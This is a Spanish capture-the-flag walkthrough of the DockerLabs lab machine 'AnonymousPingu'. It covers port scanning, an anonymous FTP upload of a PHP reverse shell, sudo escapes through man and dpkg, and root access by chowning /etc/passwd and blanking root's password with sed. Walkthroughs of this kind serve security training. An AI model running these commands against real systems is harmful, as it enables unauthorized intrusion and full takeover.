AnonymousPingu - DockerLabs
| OS | Dificultad | Creator |
|---|---|---|
| Linux | Facil | ElPinguinoDeMario |
Reconocimiento
Comenzamos el proceso de reconocimiento identificando los puertos abiertos en el sistema objetivo. Descubrimos que los puertos que se encuentran activos son el 21 (FTP) y el 80 (HTTP).
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG ports
-p-: Escanea todos los puertos (1-65535).--open: Solo muestra los puertos abiertos.-sS: Realiza un escaneo SYN, que es r谩pido y discreto.--min-rate=5000: Env铆a al menos 5000 paquetes por segundo, acelerando el escaneo.-n: No realiza resoluci贸n DNS.-Pn: No realiza ping previo para determinar si el host est谩 activo.-vvv: Muestra resultados detallados y en tiempo real.
A continuaci贸n, evaluamos si los puertos abiertos presentan alguna vulnerabilidad, adem谩s de obtener m谩s informaci贸n sobre los servicios asociados a esos puertos.
nmap -p 21,80 -sCV 172.17.0.2 -oG targeted
Exploraci贸n Web
Al acceder a la p谩gina web, observamos lo siguiente:
Utilizamos Gobuster para realizar un reconocimiento web y explorar los directorios disponibles en el sitio.
gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,doc,html,txt,img
gobuster dir- Indica que est谩s utilizando la herramienta Gobuster para realizar un escaneo de directorios.-u http://172.17.0.2/Especifica la URL objetivo que deseas escanear en busca de directorios.-wEspecifica que diccionario queremos usar-xPara indicar que tipo de extension queremos que nos encuentre
Vemos que hay un directorio upload pero no hay nada dentro.
FTP
Procedemos a explorar el servicio FTP, ya que hemos identificado anteriormente que el usuario anonymous est谩 habilitado y que tenemos permisos de escritura en el directorio upload.
Nota: Los usuarios anonymous no suelen tener contrase帽as o son opcionales en muchos servidores FTP.
A continuaci贸n, intentamos conectarnos al servidor FTP utilizando el siguiente comando:
ftp 172.17.0.2
Al intentar acceder al servidor FTP con el usuario anonymous y sin contrase帽a, observamos que podemos entrar perfectamente.
Intrusi贸n en la M谩quina
Generamos la reverseshell utilizando Pentest Monkey, una herramienta popular para crear shells PHP que nos permiten obtener acceso remoto al servidor. La ruta de la reverseshell es la siguiente:
Reverseshell de Pentest Monkey
Pasos para Cargar la Reverseshell
- Preparar la Reverseshell: Creamos un archivo de reverseshell en nuestro sistema local utilizando el c贸digo disponible en la ruta mencionada anteriormente.
- Subir el Archivo: Utilizamos el comando de FTP para subir el archivo al directorio
upload. - Ejecutar la Reverseshell: Una vez que el archivo est茅 en el servidor, lo ejecutaremos para establecer la conexi贸n.
Nos ponemos a escuchar por netcat en mi caso por el 4444
nc -lvnp 4444
Luego, accedemos a la ruta de la p谩gina web donde hemos cargado la reverseshell:
Y ya tendriamos acceso a la maquina.
TTY ReverseShell
Iniciar una sesi贸n de shell interactiva
En nuestra shell b谩sica, ejecutamos el siguiente comando para forzar la creaci贸n de una sesi贸n de bash interactiva:
script /dev/null -c bash
Suspender la shell
Una vez que el comando anterior est谩 en ejecuci贸n, utilizamos
Control+Z
para suspender temporalmente nuestra shell.
Preparar nuestro terminal local:
Antes de volver a nuestra shell, configuramos nuestro terminal local:
stty raw -echo; fg
Resetear la configuraci贸n del terminal
Ahora que tenemos el control de la shell, la reseteamos para asegurar que se comporta correctamente:
reset
Configura el tipo de terminal:
xterm
export TERM=xterm
export SHELL=bash
Usuario pingu
Ya estamos dentro de la m谩quina. Si ejecutamos el comando sudo -l, vemos que podemos ejecutar man como Pingu. Para ello, debemos hacer lo siguiente:
Esta herramienta tiene una secci贸n al final que muestra MORE. Si en lugar de desplazarnos hacia abajo, escribimos !/bin/bash, se generar谩 una shell con ese usuario.
sudo -u pingu /usr/bin/man find
Si ahora ponemos !/bin/bash:
Vemos que hemos subido de usuario y ya estamos con el usuario pingu.
Usuario gladys
Vamos a volver a ejecutar el comando sudo -l.
Observamos que podemos ejecutar nmap y dpkg como gladys. En mi caso, utilizar茅 dpkg y aplicar茅 el mismo m茅todo que antes con man. En mi caso, utilizar茅 dpkg y aplicar茅 el mismo m茅todo que antes con man.
sudo -u gladys /usr/bin/dpkg -l
Si ahora ponemos !/bin/bash:
Vemos que hemos subido de usuario y ya estamos con el usuario gladys.
Usuario root
Vamos a volver a ejecutar sudo -l.
Observamos que podemos ejecutar chown como root. Para ello, procedemos de la siguiente manera:
Primero cambiamos los permisos de /etc/passwd para que nuestro usuario tenga permisos:
sudo /usr/bin/chown $(id -un):$(id -gn) /etc/passwd
Dado que no podemos usar nano o vim porque no est谩n en el sistema instalados, utilizaremos sed para que elimine la X que tiene root para que la contrase帽a no nos la pida.
sed 's/^root:[^:]*:/root::/' /etc/passwd > /etc/passwd1
Para finalizar copiamos el /etc/passwd1 donde esta el original para que lo sobreescriba
cp /etc/passwd1 /etc/passwd
Ahora hacemos un su root y accederemos al usuario root sin proporcionar contrase帽a